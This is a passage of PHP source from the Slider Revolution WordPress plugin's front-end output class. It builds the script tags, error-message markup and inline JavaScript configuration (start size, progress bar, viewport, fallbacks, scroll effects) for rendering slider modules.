			'mid_content' => $this->gallery_ids,
			'export'	=> $this->markup_export,
			'preview'	=> $this->preview_mode,
			'published'	=> $this->only_published
		);
		
		if($this->get_preview_mode() == false){
			$args['lang'] = $rs_wmpl->get_slider_language($this->slider);
		}
		
		
		$transient .= '_'.md5(json_encode($args));
		
		return $transient;
	}
	
	
	/**
	 * push the needed JavaScript into the footer
	 * @since: 6.0
	 */
	private function add_javascript_to_footer(){
		$slver = apply_filters('revslider_remove_version', RS_REVISION); //allows to remove slider version at the JavaScript and CSS inclusions
		$ret = RS_T3.'<script src="'.RS_PLUGIN_URL_CLEAN.'public/assets/js/rbtools.min.js?rev='.$slver.'"></script>'."\n";
		if(!file_exists(RS_PLUGIN_PATH.'public/assets/js/rs6.min.js')){
			$ret .= RS_T3.'<script src="'. RS_PLUGIN_URL_CLEAN . 'public/assets/js/dev/rs6.main.js?rev='.$slver.'"></script>'."\n";
			//if on, load all libraries instead of dynamically loading them
			$ret .= RS_T3.'<script src="'. RS_PLUGIN_URL_CLEAN . 'public/assets/js/dev/rs6.actions.js?rev='.$slver.'"></script>'."\n";
			$ret .= RS_T3.'<script src="'. RS_PLUGIN_URL_CLEAN . 'public/assets/js/dev/rs6.carousel.js?rev='.$slver.'"></script>'."\n";
			$ret .= RS_T3.'<script src="'. RS_PLUGIN_URL_CLEAN . 'public/assets/js/dev/rs6.layeranimation.js?rev='.$slver.'"></script>'."\n";
			$ret .= RS_T3.'<script src="'. RS_PLUGIN_URL_CLEAN . 'public/assets/js/dev/rs6.navigation.js?rev='.$slver.'"></script>'."\n";
			$ret .= RS_T3.'<script src="'. RS_PLUGIN_URL_CLEAN . 'public/assets/js/dev/rs6.panzoom.js?rev='.$slver.'"></script>'."\n";
			$ret .= RS_T3.'<script src="'. RS_PLUGIN_URL_CLEAN . 'public/assets/js/dev/rs6.parallax.js?rev='.$slver.'"></script>'."\n";
			$ret .= RS_T3.'<script src="'. RS_PLUGIN_URL_CLEAN . 'public/assets/js/dev/rs6.slideanims.js?rev='.$slver.'"></script>'."\n";
			$ret .= RS_T3.'<script src="'. RS_PLUGIN_URL_CLEAN . 'public/assets/js/dev/rs6.video.js?rev='.$slver.'"></script>'."\n";
		}else{
			$ret .= RS_T3.'<script src="'. RS_PLUGIN_URL_CLEAN . 'public/assets/js/rs6.min.js?rev='.$slver.'"></script>'."\n";
		}
		
		return $ret;
	}
	
	/**
	 * print the HTML markup if no Slides are found in Slider
	 **/
	public function add_no_slides_markup(){
		$sourcetype = $this->slider->get_param(array('sourcetype'));

		$text = __('Make sure to add slides to the slider', 'revslider');
		switch($sourcetype){
			case 'woo':
			case 'woocommerce':
				$text = __('Make sure that a valid WooCommerce product type / category is selected in "Module General Options -> Content -> Types & Categories".', 'revslider');
			break;
			case 'post':
			case 'posts':
			case 'specific_posts':
			case 'current_post':
				$text = __('Make sure that a valid post type / category is selected in "Module General Options -> Content -> Post Selection".', 'revslider');
			break;
		}
		
		$this->throw_error($text);
	}
	
	/**
	 * sets the Slide into a loop
	 **/
	public function set_slide_loop($slides){
		$loop = $this->slider->get_param(array('general', 'slideshow', 'loopSingle'), true);
		
		if(($loop == 'loop' || $loop == true) && count($slides) == 1){
			$new_slide = clone reset($slides);
			$new_slide->ignore_alt = true;
			$new_slide->set_id($new_slide->get_id().'-1');

			$slides[] = $new_slide;
			$this->set_is_single_slide(true);
		}
		
		return $slides;
	}
	
	/**
	 * check if the slide should only be visible in a certain timeframe, and if yes deny the output of the slide
	 **/
	public function is_in_timeframe(){
		$slide	= $this->get_slide();
		$in		= true;
		
		if($this->get_preview_mode() === false){ // do only if we are not in preview mode
			$ts = current_time('timestamp');
			
			//check if date is set
			$date_from = $slide->get_param(array('publish', 'from'), '');
			$date_to = $slide->get_param(array('publish', 'to'), '');
			
			if($date_from != ''){
				$date_from = strtotime($date_from);
				if($ts < $date_from) $in = false;
			}
			
			if($date_to != ''){
				$date_to = strtotime($date_to);
				if($ts > $date_to) $in = false;
			}
		}
		
		return $in;
	}
	
	/**
	 * Output Inline JS
	 */
	/*public function add_inline_js(){
		echo $this->rev_inline_js;
	}*/
	
	/**
	 * Output revslider_showDoubleJqueryError
	 */
	public function add_inline_double_jquery_error($do_check = false){
		global $rs_double_jquery_script;
		
		if($rs_double_jquery_script === false || $do_check === true){
			echo '<script>'."\n";
			echo RS_T2.'if(typeof revslider_showDoubleJqueryError === "undefined") {';
			echo 'function revslider_showDoubleJqueryError(sliderID) {';
			echo 'console.log("You have some jquery.js library include that comes after the Slider Revolution files js inclusion.");';
			echo 'console.log("To fix this, you can:");';
			echo 'console.log("1. Set \'Module General Options\' -> \'Advanced\' -> \'jQuery & OutPut Filters\' -> \'Put JS to Body\' to on");';
			echo 'console.log("2. Find the double jQuery.js inclusion and remove it");';
			echo 'return "Double Included jQuery Library";';
			echo '}';
			echo '}'."\n";
			echo '</script>'."\n";
		}
		$rs_double_jquery_script = (empty($do_check) || $do_check === false) ? true : $rs_double_jquery_script;
	}
	
	
	/**
	 * set the start size of the slider through javascript
	 **/
	public function get_html_js_start_size($optFullWidth, $optFullScreen){
		$csizes	= $this->get_responsive_size($this);
		$html_id_trimmed = $this->get_html_id(false);
		$jus = $this->slider->get_param(array('carousel', 'justify'), false);
		$revapi = $this->get_revapi();
		if($jus !== false) $jus="true";
		$html	= '';
		if(!$this->get_markup_export()){ //not needed for html markup export
			$html .= 'setREVStartSize(';
			$html .= "{c: '". $this->get_html_id() ."',";
			$html .= (isset($csizes['level']) && !empty($csizes['level'])) ? 'rl:['. $csizes['level'] .'],' : '';
			$html .= ($csizes['cacheSize'] !== false) ? 'el:['.$csizes['cacheSize'].'],' : '';
			$html .= "gw:[". $csizes['width'] ."],";
			$html .= "gh:[". $csizes['height'] ."],";
			$html .= "type:'";
			$html .= $this->slider->get_param('type', 'standard');
			$html .= "',";
			$html .= "justify:'";
			$html .= $jus;
			$html .= "',";
			$html .= "layout:'";
			$html .= ($optFullScreen == 'on') ? 'fullscreen' : 'fullwidth';
			$html .= "',";
			if($this->slider->get_param('type', 'standard') !== 'hero'){
				$check = array('tab' => 'tabs', 'thumb' => 'thumbs');
				$wpd = array('tabs' => 2, 'thumbs' => 10);
				foreach($check as $nk => $nav){
					$do = false;
					if($this->slider->get_param(array('nav', $nav, 'set'), false) !== true) continue;
					if($this->slider->get_param(array('nav', $nav, 'innerOuter'), 'inner') === 'outer-vertical'){
						$html .= $nk.'w:"'.$this->slider->get_param(array('nav', $nav, 'widthMin'), 100).'",';
						$do = true;
					}
					if($this->slider->get_param(array('nav', $nav, 'innerOuter'), 'inner') === 'outer-horizontal'){
						$wp = intval($this->slider->get_param(array('nav', $nav, 'padding'), $wpd[$nav]));
						$h = $this->slider->get_param(array('nav', $nav, 'height'), 50);
						$h = ($wp > 0) ? $h + $wp * 2 : $h;
						
						$html .= $nk.'h:"'.$h.'",';
						$do = true;
					}
					
					if($do === false) continue;
					if($this->slider->get_param(array('nav', $nav, 'hideUnder'), false) === false) continue;
					
					$html .= $nk.'hide:"'.$this->slider->get_param(array('nav', $nav, 'hideUnderLimit'), 0).'",';
				}
			}
			if($this->slider->get_param('layouttype') == 'fullscreen'){
				$html .= "offsetContainer:'". esc_attr($this->slider->get_param(array('size', 'fullScreenOffsetContainer'), '')) ."',";
				$html .= "offset:'". esc_attr($this->slider->get_param(array('size', 'fullScreenOffset'), '')) ."',";
			}
			$mheight = ($this->slider->get_param('layouttype') !== 'fullscreen') ? $this->slider->get_param(array('size', 'minHeight'), 0) : $this->slider->get_param(array('size', 'minHeightFullScreen'), '0');
			$mheight = ($mheight == '' || $mheight=="none") ? 0 : $mheight;
			$html .= 'mh:"'.$mheight.'"';
			$html .= '}';
			$html .= ');';
			$html .= 'if (window.RS_MODULES!==undefined && window.RS_MODULES.modules!==undefined && window.RS_MODULES.modules["'. $html_id_trimmed .'"]!==undefined) {';
			$html .= 'window.RS_MODULES.modules["'. $html_id_trimmed .'"].once = false;';
			$html .= 'window.'. $revapi .' = undefined;';
			$html .= 'if (window.RS_MODULES.checkMinimal!==undefined) window.RS_MODULES.checkMinimal()';
			$html .= '}';
		}
		
		return $html;
	}
	
	/**
	 * add error message into the console
	 */
	public function print_error_message_console($message){

		$message = $this->slider->get_title().': '.$message;
		$html = '';
		$html .= '<script>';
		$html .= 'console.log("'.esc_html($message).'")';
		$html .= '</script>'."\n";

		echo $html;
	}

	/**
	 * put inline error message in a box.
	 * @before: RevSliderOutput::putErrorMessage
	 */
	public function print_error_message($message, $open_page = false){
		global $rs_slider_serial;
		
		$html_id = $this->get_html_id();
		
		$id = '';
		$html = '';
		
		if(empty($html_id)){
			$html_id = 'rev_slider_error_'.$rs_slider_serial;
		}else{
			$slides = $this->slider->get_slides();
			
			if(!empty($slides)){
				foreach($slides as $slide){
					$id = $slide->get_id();
					break;
				}
			}
		}
		
		$url = (empty($html_id) || !is_user_logged_in() || $id === '') ? '' : admin_url('admin.php?page=revslider&view=slide&id='.$id);
		$page_url = ($open_page === true && is_user_logged_in()) ? get_edit_post_link() : '';
		
		$html .= ($this->rs_module_wrap_open === false) ? RS_T3.'<rs-module-wrap id="'.$html_id.'_wrapper">'."\n" : '';
		$html .= ($this->rs_module_open === false) ? RS_T4.'<rs-module id="'.$html_id.'">'."\n" : '';
		$html .= RS_T5.'<div class="rs_error_message_box">'."\n";
		$html .= RS_T6.'<div class="rs_error_message_oops">There is nothing to show here!</div>'."\n";
		$html .= RS_T6.'<div class="rs_error_message_content">'.esc_html($message);
		$html .= (!empty($url)) ? '<br>'.__('Please follow this link to edit the slider:', 'revslider') : '';
		$html .= '</div>'."\n";
		$html .= (!empty($url)) ? RS_T6.'<a href="'.$url.'" target="_blank" rel="noopener" class="rs_error_message_button">Edit Module : "'.$this->slider->get_alias().'"</a>'."\n" : '';
		$html .= (!empty($page_url)) ? RS_T6.'<a href="'.$page_url.'" target="_blank" rel="noopener" class="rs_error_message_button">Edit Page</a>'."\n" : '';
		$html .= RS_T5.'</div>'."\n";
		$html .= ($this->rs_module_wrap_closed === false) ? RS_T4.'</rs-module>'."\n" : '';
		$html .= ($this->rs_module_closed === false) ? RS_T3.'</rs-module-wrap>'."\n" : '';
		
		$html .=  RS_T3.'<script>'."\n";
		$html .=  RS_T4.'var rs_eslider = document.getElementById("'.$html_id.'");'."\n";
		if(is_user_logged_in()){
			$html .=  RS_T4.'rs_eslider.style.display = "block";'."\n";
			$html .=  RS_T4.'rs_eslider.style.visibility = "visible";'."\n";
		}else{
			$html .=  RS_T4.'rs_eslider.style.display = "none";'."\n";
			$html .=  RS_T4.'console.log("'.esc_html($message).'");'."\n";
		}
		$html .=  RS_T3.'</script>'."\n";
		
		echo $html;
	}
	
	
	/**
	 * add JavaScript
	 **/
	private function add_js(){
		global $rs_loaded_by_editor;

		$cache			 = RevSliderGlobals::instance()->get('RevSliderCache');
		$me				 = $this->get_markup_export();
		$this->full_js	 = (($this->usage === 'modal' && $this->ajax_loaded === true) || $me === true || $this->ajax_loaded === true || $rs_loaded_by_editor === true) ? true : false;
		if($this->full_js === false) $this->JTA = ''; //remove 2 tabs to beautify HTML
		
		$html_start_size = $this->js_get_start_size();
		
		$html_base_pre	 = $this->js_get_base_pre();
		$html_root		 = $this->js_get_root();
		$html_overlay    = $this->js_get_overlay();
		$html_modal      = $this->js_get_modal();
		$html_carousel	 = $this->js_get_carousel();
		$html_progressbar = $this->js_get_progressbar();
		$html_nav		 = $this->js_get_navigation();
		$html_paralax	 = $this->js_get_parallax();
		$html_first_anim = $this->js_get_first_anim_data();
		$html_scroll	 = $this->js_get_scrolleffect();
		$html_sb_timeline = $this->js_get_scrollbased_timeline();
		$html_view_port	 = $this->js_get_viewport();
		$html_custom_eases = $this->js_get_custom_eases();
		
		$html_fallback	 = $this->js_get_fallback();		
		$html_custom_css = $this->js_get_custom_css();
		$html_base_post	 = $this->js_get_base_post();
		$html_nav_css 	 = $this->get_navigation_css();
		$html_spinner	 = $this->get_spinner_markup();
		$html_notice	 = $this->get_notices();
		
		echo $html_start_size;
		
		$js = ($me === true) ? '<!-- SCRIPT -->' : '';
		
		//add inline style into the footer
		$js .= $html_base_pre;
		
		$js .= $html_root;
		$js .= $html_overlay;
		$js .= $html_modal;
		$js .= $html_carousel;
		$js .= $html_progressbar;
		$js .= $html_nav;
		$js .= $html_paralax;
		$js .= $html_first_anim;
		$js .= $html_scroll;
		$js .= $html_sb_timeline;
		$js .= $html_view_port;
		$js .= $html_custom_eases;
		
		$js .= $html_fallback;		
		$js .= $html_base_post;
		
		$js .= $html_custom_css;
		$js .= $html_spinner;
		$js .= $html_notice;
		$js .= $html_nav_css;
		
		$js .= ($me === true) ? '<!-- /SCRIPT -->' : '';
		
		if($this->full_js){
			echo $js;
		}else{
			global $rs_js_collection;
			//$this->rev_inline_js = $js;
			$rs_js_collection['js'][] = $js;
			if($this->caching) $cache->add_addition('action', 'wp_print_footer_scripts', $js);
			
			//add_action('wp_print_footer_scripts', array($this, 'add_inline_js'), 100);
		}
		if($me === true){ //for html markup export
			$this->add_inline_double_jquery_error();
		}else{
			if(has_action('wp_footer', array($this, 'add_inline_double_jquery_error')) === false){
				if($this->caching){
					ob_start();
					$this->add_inline_double_jquery_error(true);
					$double_jquery = ob_get_contents();
					ob_clean();
					ob_end_clean();
					$cache->add_addition('action', 'wp_footer', $double_jquery);
				}
				add_action('wp_footer', array($this, 'add_inline_double_jquery_error'));
			}
		}
	}
	
	
	/**
	 * get the start size
	 **/
	public function js_get_start_size(){
		$layout = $this->slider->get_param('layouttype');
		$fw = ($layout == 'fullwidth') ? 'on' : 'off';
		$fw = ($layout == 'fullscreen') ? 'off' : $fw;
		$fs = ($layout == 'fullscreen') ? 'on' : 'off';
		$html	= '';
		$html	.= RS_T4.'<script>'."\n";
		$html	.= RS_T5.$this->get_html_js_start_size($fw, $fs)."\n";
		$html	.= RS_T4.'</script>'."\n";
		
		return $html;
	}
	
	/**
	 * get the JavaScript Pre
	 **/
	public function js_get_base_pre(){
		global $rs_js_collection, $rs_slider_serial;
		$html	= '';
		$sid	= $this->slider->get_id();
		$html_id = $this->get_html_id();
		$html_id_trimmed = $this->get_html_id(false);
		$revapi = $this->get_revapi();
		
		$rs_js_collection['revapi'][] = $revapi;
		if($this->caching){
			$cache = RevSliderGlobals::instance()->get('RevSliderCache');
			if($rs_js_collection['minimal'] === ''){
				$cache->add_addition('action', 'wp_print_footer_scripts', $this->JTA . RS_T2.'var	tpj = jQuery;'."\n", 1);
			}
			$cache->add_addition('action', 'wp_print_footer_scripts', $this->JTA . RS_T2.'var	'. $revapi .';'."\n", 1);
		}
		if($this->full_js){
			$html .= $this->JTA . RS_T.'<script>'."\n";
			$html .= $this->JTA . RS_T2.'var	tpj = jQuery;'."\n";
			//$html .= $this->JTA . RS_T2.'window.'. $revapi .' = window.'. $revapi .'===undefined || window.'. $revapi .'===null || window.'. $revapi .'.length===0  ? document.getElementById("'. $html_id .'") : window.'. $revapi .';'."\n";
		}		
		$html .= $this->JTA . RS_T2.'if(window.RS_MODULES === undefined) window.RS_MODULES = {};'."\n";
		$html .= $this->JTA . RS_T2.'if(RS_MODULES.modules === undefined) RS_MODULES.modules = {};'."\n";
		$html .= $this->JTA . RS_T2.'RS_MODULES.modules["'.$html_id_trimmed .'"] = {once: RS_MODULES.modules["'.$html_id_trimmed .'"]!==undefined ? RS_MODULES.modules["'.$html_id_trimmed .'"].once : undefined, init:function() {'."\n";		
		$html .= $this->JTA . RS_T3.'window.'. $revapi .' = window.'. $revapi .'===undefined || window.'. $revapi .'===null || window.'. $revapi .'.length===0  ? document.getElementById("'. $html_id .'") : window.'. $revapi .';'."\n";
		$html .= $this->JTA . RS_T3.'if(window.'. $revapi .' === null || window.'. $revapi .' === undefined || window.'. $revapi .'.length==0) { window.'. $revapi .'initTry = window.'. $revapi .'initTry ===undefined ? 0 : window.'. $revapi .'initTry+1; if (window.'. $revapi .'initTry<20) requestAnimationFrame(function() {RS_MODULES.modules["'.$html_id_trimmed .'"].init()}); return;}'."\n";
		$html .= $this->JTA . RS_T3.'window.'.$revapi.' = jQuery(window.'. $revapi .');'."\n";
		if($this->full_js){
			$html .= ($this->slider->get_param(array('troubleshooting', 'jsNoConflict'), true) === true) ? $this->JTA . RS_T3.'jQuery.noConflict();'."\n" : ''; 
		}		
		$html .= $this->JTA . RS_T3.'if(window.'.$revapi.'.revolution==undefined){ revslider_showDoubleJqueryError("'.$html_id.'"); return;}'."\n";				
		$html = apply_filters('revslider_fe_before_init_script', $html, $this->slider, $html_id); // needed for AddOns
		$html .= $this->JTA . RS_T3.$revapi.'.revolutionInit({'."\n";
		
		return $html;
	}


	/**
	 * get the JavaScript Post
	 **/
	public function js_get_base_post(){
		global $rs_js_collection, $rs_slider_serial;
		$revapi = $this->get_revapi();
		$html = '';
		ob_start();
		do_action('revslider_fe_javascript_option_output', $this->slider);
		$js_action = ob_get_contents();
		ob_clean();
		ob_end_clean();
		
		$html .= $js_action;
		$html .= $this->JTA . RS_T3.'});'."\n";
		$html .= (in_array('revapi'.$this->slider->get_id(), $rs_js_collection['revapi'], true) && $revapi !== 'revapi'.$this->slider->get_id()) ? $this->JTA . RS_T3 . 'var revapi'. $this->slider->get_id() .' = '. $revapi .';'."\n" : ''; //added for addons that use the old revapi style
		$html .= $this->js_get_custom_js();
		$html .= $this->JTA . RS_T3;
		
		ob_start();
		do_action('revslider_fe_javascript_output', $this->slider, $this->get_html_id());
		$js_action = ob_get_contents();
		ob_clean();
		ob_end_clean();
		
		$html .= $js_action;
		$html .= "\n";
		$html .= $this->JTA . RS_T2.'}} // End of RevInitScript'."\n";
		
		$minimal = $this->JTA . RS_T2.'if (window.RS_MODULES.checkMinimal!==undefined) { window.RS_MODULES.checkMinimal();};'."\n";
		if($this->full_js){
			$html .= $minimal;
		}else{
			global $rs_js_collection;
			if($rs_js_collection['minimal'] === ''){
				$rs_js_collection['minimal'] = $minimal;
				if($this->caching){
					$cache = RevSliderGlobals::instance()->get('RevSliderCache');
					$cache->add_addition('action', 'wp_print_footer_scripts', $minimal, 99);
				}
			}
		}
		
		if($this->full_js){
			$html .= $this->JTA . RS_T.'</script>'."\n";
		}
		
		return $html;
	}

	/**
	 * get the custom js
	 **/
	public function js_get_custom_js(){
		$html = '';
		$js = $this->slider->get_param(array('codes', 'javascript'), '');
		if($js === '') return '';
		
		$js = $this->replace_html_ids($js);
		
		$html .= RS_T7;
		$html .= str_replace('var counter = {val:doctop};', 'var counter = {val:(window.pageYOffset || document.documentElement.scrollTop)  - (document.documentElement.clientTop || 0)};', $js); //stripslashes($js));
		$html .= "\n";
		
		return $html;
	}

	/**
	 * get the custom css
	 **/
	public function js_get_custom_css(){
		$html = '';
		$css = $this->slider->get_param(array('codes', 'css'), '');
		if($css === '') return $html;
		
		return $this->get_css_javascript($this->replace_html_ids($css));
	}

	/**
	 * get the spinner markup if a spinner was selected
	 **/
	public function get_spinner_markup(){
		$html = '';

		$spinner = (string)$this->slider->get_param(array('layout', 'spinner', 'type'), '0');
		$color	 = $this->slider->get_param(array('layout', 'spinner', 'color'), '#FFFFFF');
		
		switch($spinner){
			case '1':
			case '2':
				$css_html = "#".$this->get_html_id()."_wrapper rs-loader.spinner".$spinner."{ background-color: ". $color ." !important; }";
				$html = $this->get_css_javascript($css_html);
			break;
			case '3':
			case '4':
				$css_html = "#".$this->get_html_id()."_wrapper rs-loader.spinner".$spinner." div { background-color: ". $color ." !important; }";
				$html = $this->get_css_javascript($css_html);
			break;
			case '0':
			case '5':
			default:
			break;
		}
		
		return $html;
	}
	
	/**
	 * get notices for the console
	 * @since: 6.1.6
	 **/
	public function get_notices(){
		$html = '';
		
		if($this->orig_html_id !== false){
			//$html .= $this->JTA . RS_T.'<script>'."\n";
			$html .= $this->JTA . RS_T2.'console.log("'.sprintf(__('Warning - ID: %s exists already and was converted to: %s', 'revslider'), $this->orig_html_id, $this->get_html_id()).'")'."\n";
			//$html .= $this->JTA . RS_T.'</script>'."\n";
		}
		
		return $html;
	}
	
	/**
	 * replace the ids in a text/html/css/javascript
	 **/
	public function replace_html_ids($text, $prefix = '#'){
		return ($this->orig_html_id !== false) ? str_replace($prefix.$this->orig_html_id, $prefix.$this->get_html_id(), $text) : $text;
	}

	/**
	 * get the fallback attibutes
	 **/
	public function js_get_fallback(){
		$html = '';
		$s	= $this->slider; //shorten
		$fb	= array();
		
		$dpz = $s->get_param(array('general', 'disablePanZoomMobile'), false);
		$sii = $s->get_param(array('troubleshooting', 'simplify_ie8_ios4'), true); //was false
		$dfl = $s->get_param(array('general', 'disableFocusListener'), false);
		$urlhash = $s->get_param(array('general', 'enableurlhash'), false);
		$apvom = $s->get_param(array('general', 'autoPlayVideoOnMobile'), true);
		if($dpz !== false) $fb['panZoomDisableOnMobile'] = $dpz;
		if($sii !== false) $fb['simplifyAll'] = $sii;
		if($s->get_param('type', 'standard') !== 'hero'){
			$nsof = $s->get_param(array('general', 'nextSlideOnFocus'), false);
			if($nsof !== false) $fb['nextSlideOnWindowFocus'] = $nsof;
		}
		if($dfl !== false) $fb['disableFocusListener'] = $dfl;
		if($urlhash !== false) {
			$html .= $this->JTA . RS_T5.'enableDeeplinkHash : true,'."\n";;
		}
		if($apvom !== false) $fb['allowHTML5AutoPlayOnAndroid'] = $apvom;
		
		if(!empty($fb)){
			$ff = true;
			$html .= $this->JTA . RS_T5.'fallbacks: {'."\n";
			foreach($fb as $k => $v){
				$html .= ($ff === true) ? '' : ','."\n";
				$html .= $this->JTA . RS_T6.$k.':';
				$html .= $this->write_js_var($v);
				$ff = false;
			}
			$html .= "\n".$this->JTA . RS_T5.'},'."\n";
		}
		
		return $html;
	}

	/**
	 * get the progressbar attibutes
	 **/
	public function js_get_progressbar(){
		$html = '';
		$s	= $this->slider; //shorten
		$s_type = $s->get_param('type', 'standard');

		if($s->get_param(array('general', 'progressbar', 'set'), true) === false || $s_type === 'hero'){
			$html = $this->JTA . RS_T5.'progressBar:{disableProgressBar:true},'."\n";
		} else {
			
			$pb	= array();
			
			$pb_basedon = $s->get_param(array('general', 'progressbar', 'basedon'), 'slide');
			$pb_bgcolor = RSColorpicker::get($s->get_param(array('general', 'progressbar', 'bgcolor'), 'transparent'));
			$pb_color = RSColorpicker::get($s->get_param(array('general', 'progressbar', 'color'), 'rgba(255,255,255,0.5)'));
			$pb_gapcolor = RSColorpicker::get($s->get_param(array('general', 'progressbar', 'gapcolor'), 'rgba(255,255,255,0.5)'));
			$pb_gap = $s->get_param(array('general', 'progressbar', 'gap'), false);

			$pb_gaps = $s->get_param(array('general', 'progressbar', 'gapsize'), '0');
			$pb_reset = $s->get_param(array('general', 'progressbar', 'reset'), 'reset');
			$pb_horizontal = $s->get_param(array('general', 'progressbar', 'horizontal'), 'left');
			$pb_ond = $s->get_param(array('general', 'progressbar', 'visibility', 'd'), true);
			$pb_onn = $s->get_param(array('general', 'progressbar', 'visibility', 'n'), true);
			$pb_ont = $s->get_param(array('general', 'progressbar', 'visibility', 't'), true);
			$pb_onm = $s->get_param(array('general', 'progressbar', 'visibility', 'm'), true);
			
			// take care about fall back on old vertical position if still exists
			$pb_vertical = $s->get_param(array('general', 'progressbar', 'vertical'), 'bottom');
			$pb_old_position = $s->get_param(array('general', 'progressbar', 'position'), 'bottom');
			if ($pb_old_position!=="bottom" && $pb_vertical==="bottom") $pb_vertical = $pb_old_position;
			
			// take care about fall back on old height if still exists
			$pb_size = $s->get_param(array('general', 'progressbar', 'size'), '5px');
			$pb_old_height = $s->get_param(array('general', 'progressbar', 'height'), 5);
			if ($pb_old_height!=="5px" && $pb_size==="5px") $pb_size = $pb_old_height;

			$pb_style = $s->get_param(array('general', 'progressbar', 'style'), 'horizontal');
			$pb_radius = $s->get_param(array('general', 'progressbar', 'radius'), 10);
			$pb_xof = $s->get_param(array('general', 'progressbar', 'x'), '0px');
			$pb_yof = $s->get_param(array('general', 'progressbar', 'y'), '0px');

			$pb_alignby = $s->get_param(array('general', 'progressbar', 'alignby'), 'slider');

			if ($pb_basedon!=="slide") $pb['basedon'] = $pb_basedon;
			if ($pb_alignby!=="slider") $pb['alignby'] = $pb_alignby;
			if ($pb_bgcolor!=="transparent") $pb["bgcolor"] = $pb_bgcolor;
			if ($pb_color!=="rgba(255,255,255,0.5)") $pb["color"] = $pb_color;
			if ($pb_basedon==="module") {
				if ($pb_gaps!==0) $pb['gapsize'] = $pb_gaps;
				if ($pb_gapcolor!=="rgba(255,255,255,0.5)") $pb['gapcolor'] = $pb_gapcolor;
				if ($pb_gap!==false) $pb['gap'] = $pb_gap;
			}
			
			if ($pb_style!=="horizontal") $pb['style'] = $pb_style;
			if ($pb_horizontal!=="left") $pb['horizontal'] = $pb_horizontal;
			if ($pb_vertical!=="bottom") $pb['vertical'] = $pb_vertical;
			if ($pb_size!=="5px") $pb['size'] = $pb_size;
			if (($pb_style=="ccw" || $pb_style=="cw") && $pb_radius!==10) $pb['radius'] = $pb_radius;
			if ($pb_xof!=="0px") $pb['x'] = $pb_xof;
			if ($pb_yof!=="0px") $pb['y'] = $pb_yof;
			if ($pb_reset!=="reset") $pb['reset'] = $pb_reset;
			
			if(!empty($pb)){
				$ff = true;
				$html .= $this->JTA . RS_T5.'progressBar: {'."\n";
				foreach($pb as $k => $v){
					$html .= ($ff === true) ? '' : ','."\n";
					$html .= $this->JTA . RS_T6.$k.':';
					$html .= $this->write_js_var($v);
					$ff = false;
				}				
				if ($pb_ond!==true || $pb_onn!==true || $pb_onm!==true || $pb_ont!==true) {
					$html .= ($ff === true) ? '' : ','."\n";
					$ff = true;
					$html .= $this->JTA . RS_T6.'visibility: {'."\n";
					if ($pb_ond!=true) {
						$html .= ($ff === true) ? '' : ','."\n";
						$html .= $this->JTA . RS_T7.'0:false';
						$ff = false;
					}
					if ($pb_onn!=true) {
						$html .= ($ff === true) ? '' : ','."\n";
						$html .= $this->JTA . RS_T7.'1:false';
						$ff = false;
					}
					if ($pb_ont!=true) {
						$html .= ($ff === true) ? '' : ','."\n";
						$html .= $this->JTA . RS_T7.'2:false';
						$ff = false;
					}
					if ($pb_onm!=true) {
						$html .= ($ff === true) ? '' : ','."\n";
						$html .= $this->JTA . RS_T7.'3:false';
						$ff = false;
					}
					$html .= "\n".$this->JTA . RS_T6.'},'."\n";
				}
				$html .= "\n".$this->JTA . RS_T6.'},'."\n";
			}
		}
		
		return $html;
	}


	/**
	 * get the viewport attibutes
	 **/
	public function js_get_viewport(){
		$html = '';
		$s	= $this->slider; //shorten
		$vp	= array();
		
		$evp = $s->get_param(array('general', 'slideshow', 'viewPort'), false);
		$evpg = $s->get_param(array('general', 'slideshow', 'globalViewPort'), false);
		$vp['global'] = $evpg;
		if($evpg !== "none"){
			$evpgd = $s->get_param(array('general', 'slideshow', 'globalViewDist'), '-200px');
			$vp['globalDist'] = $evpgd;
		}
		
		
		if(($evp === false && ($evpg === "false" || $evpg === "none")) || $evpg === "false") return $html;
		
		$vps = $s->get_param(array('general', 'slideshow', 'viewPortStart'), 'wait');
		$psh = $s->get_param(array('general', 'slideshow', 'presetSliderHeight'), false);
		$vpa = $s->get_param(array('general', 'slideshow', 'viewPortArea'), 200);
		
		if($this->adv_resp_sizes == true){
			$vpa = $this->normalize_device_settings($vpa, $this->enabled_sizes, 'html-array', array(200));
		}else{
			if(is_array($vpa) || is_object($vpa)) $vpa = $this->get_biggest_device_setting($vpa, $this->enabled_sizes); //vpa was before only on one level, so it can be a string or integer in the past
		}
		
		$vp['enable'] = $evp;
		if($vps !== 'wait') $vp['outof'] = $vps;
		if(!in_array($vpa, array(200, '200', '200px'), true)) $vp['visible_area'] = $vpa;
		if($psh !== false) $vp['presize'] = $psh;
		
		if(!empty($vp)){
			$ff = true;
			$html .= $this->JTA . RS_T5.'viewPort: {'."\n";
			foreach($vp as $k => $v){
				$html .= ($ff === true) ? '' : ','."\n";
				$html .= $this->JTA . RS_T6.$k.':';
				$html .= $this->write_js_var($v);
				$ff = false;
			}
			$html .= "\n".$this->JTA . RS_T5.'},'."\n";
		}
		
		return $html;
	}
	
	/**
	 * get the custom easings
	 **/
	public function js_get_custom_eases(){
		$html	 = '';
		$easings = array();
		$custom_easings = array('SFXBounceLite', 'SFXBounceSolid', 'SFXBounceStrong', 'SFXBounceExtrem', 'BounceLite', 'BounceSolid', 'BounceStrong', 'BounceExtrem');
		
		if(!empty($this->easings)){
			foreach($custom_easings as $ce){
				if(isset($this->easings[$ce])){
					$easings[] = $ce;
				}
			}
		}
		
		if(!empty($easings)){
			$ff = true;
			$html .= $this->JTA . RS_T5.'customEases: {'."\n";
			foreach($easings as $v){
				$html .= ($ff === true) ? '' : ','."\n";
				$html .= $this->JTA . RS_T6.$v.':';
				$html .= 'true';
				$ff = false;
			}
			$html .= "\n".$this->JTA . RS_T5.'},'."\n";
		}
		
		return $html;
	}

	/**
	 * get the scrolleffect attibutes
	 **/
	public function js_get_scrolleffect(){
		$html = '';
		$s	= $this->slider; //shorten
		$se	= array();
		
		$ge = $s->get_param(array('scrolleffects', 'set'), false);
		if($ge === false) return $html;
		
		$fa	 = $s->get_param(array('scrolleffects', 'setFade'), false);
		$bl	 = $s->get_param(array('scrolleffects', 'setBlur'), false);
		$sgs = $s->get_param(array('scrolleffects', 'setGrayScale'), false);
		$mb	 = $s->get_param(array('scrolleffects', 'maxBlur'), 10);
		$ol	 = $s->get_param(array('scrolleffects', 'layers'), false);
		$bg	 = $s->get_param(array('scrolleffects', 'bg'), false);
		$d	 = $s->get_param(array('scrolleffects', 'direction'), 'both');
		$mp	 = $s->get_param(array('scrolleffects', 'multiplicator'), '1.35'); //was 1.3
